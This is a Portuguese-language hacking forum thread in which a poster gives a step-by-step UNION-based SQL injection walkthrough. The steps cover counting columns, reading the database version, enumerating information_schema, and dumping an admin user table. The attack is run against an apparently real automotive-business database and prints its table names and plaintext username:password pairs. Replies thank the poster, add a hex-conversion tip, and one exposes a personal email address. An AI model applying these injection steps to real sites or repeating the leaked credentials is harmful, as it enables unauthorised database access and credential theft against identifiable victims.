Dica Manualzim passo a passo de dicas como fazer seu SQL INJECTION

[4LUC4RD]

boas pessoal

como é pra um amigo que ta no chat com dúvidas por naum se lembrar vou dá uma resumida de como deve ser, qualquer coisa faço uma vídeo aula pra galera que num tender rs


1)PEGAR NUM DE COLUNAS
uso do order by para descobrir o num de colunas
... UNION ALL SELECT 15—

2)PEGAR QUAL COLUNA TA VUL
union all select 1,2,...--
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

3)DESCOBRIR QUAL VERSÃO DO DB - COLUNA VUL É A 2:
Na coluna que é vul: @@version
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
versão 5.1.57

4)ACHAR O NOME DO BD
Add na coluna vul group_concat(schema_name) e no fim do num das colunas from information_schema.schemata--
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
nome do DB:efautomotiva

5)PEGAR NOME DAS TABELAS:
Add na coluna vul group_concat(table_name) e no fim das colunas from information_schema.tables WHERE table_schema=database()--
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
tabelas:
anotacoes,arquivos,banner,categorias,coeficientes, conteudo,descontos,fotos,pedidos,
produtos,rel_produtos_pedidos,usuario_master,vende dores

6)A TABELA QUE VAMOS USAR É A usuario_master

7)PEGAR AS COLUNAS DA TABELA QUE USAREMOS, LEMBRANDO DE QUE O NOME DA TABELA TEM QUE SER EM HEXA
Add na coluna vul group_concat(column_name) e no fim da contagem from information_schema.columns WHERE table_name=0xnome_da_tabela_em_hexadecimal
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

8)OBTER O CONTEÚDO DAS COLUNAS:
Add a coluna vul group_concat(CampoNome,0x3a,CampoSenha) e no fim da contagem from NomeDB.NomeTabela--
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
daniel : beegees
dialhost : 123admin
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

[mourinha111]

4LUC4RD me add no msn ? anderson.bolado55@hotmail.com

[0KaL]

Obrigado por compartilhar.
Muito bom mostrar a prática, mas Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... é sempre bom, não é?

[0KaL]

(sorry double post)

7)PEGAR AS COLUNAS DA TABELA QUE USAREMOS, LEMBRANDO DE QUE O NOME DA TABELA TEM QUE SER EM HEXA

Para converter strings para hexadecimal, utilize Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....

[4LUC4RD]

sim manow a prática leva a perfeição rs vlw por complementar, esqueci de colocar o conversor pra hexa

[CryptoSystem]

Valeu man.

Bom post.

Simplificou da melhor maneira possivel.

Vai ser muito util aos novatos.

E sou sempre a favor de tecnicas manuais ao invés de softwares automaticos.

[razor33]

Faz uma video aula ai pra fica show!

[MailsonHeberth]

Faz uma video aula ai pra fica show!

Ainda precisa de uma video aula? Não é suficiente? x.x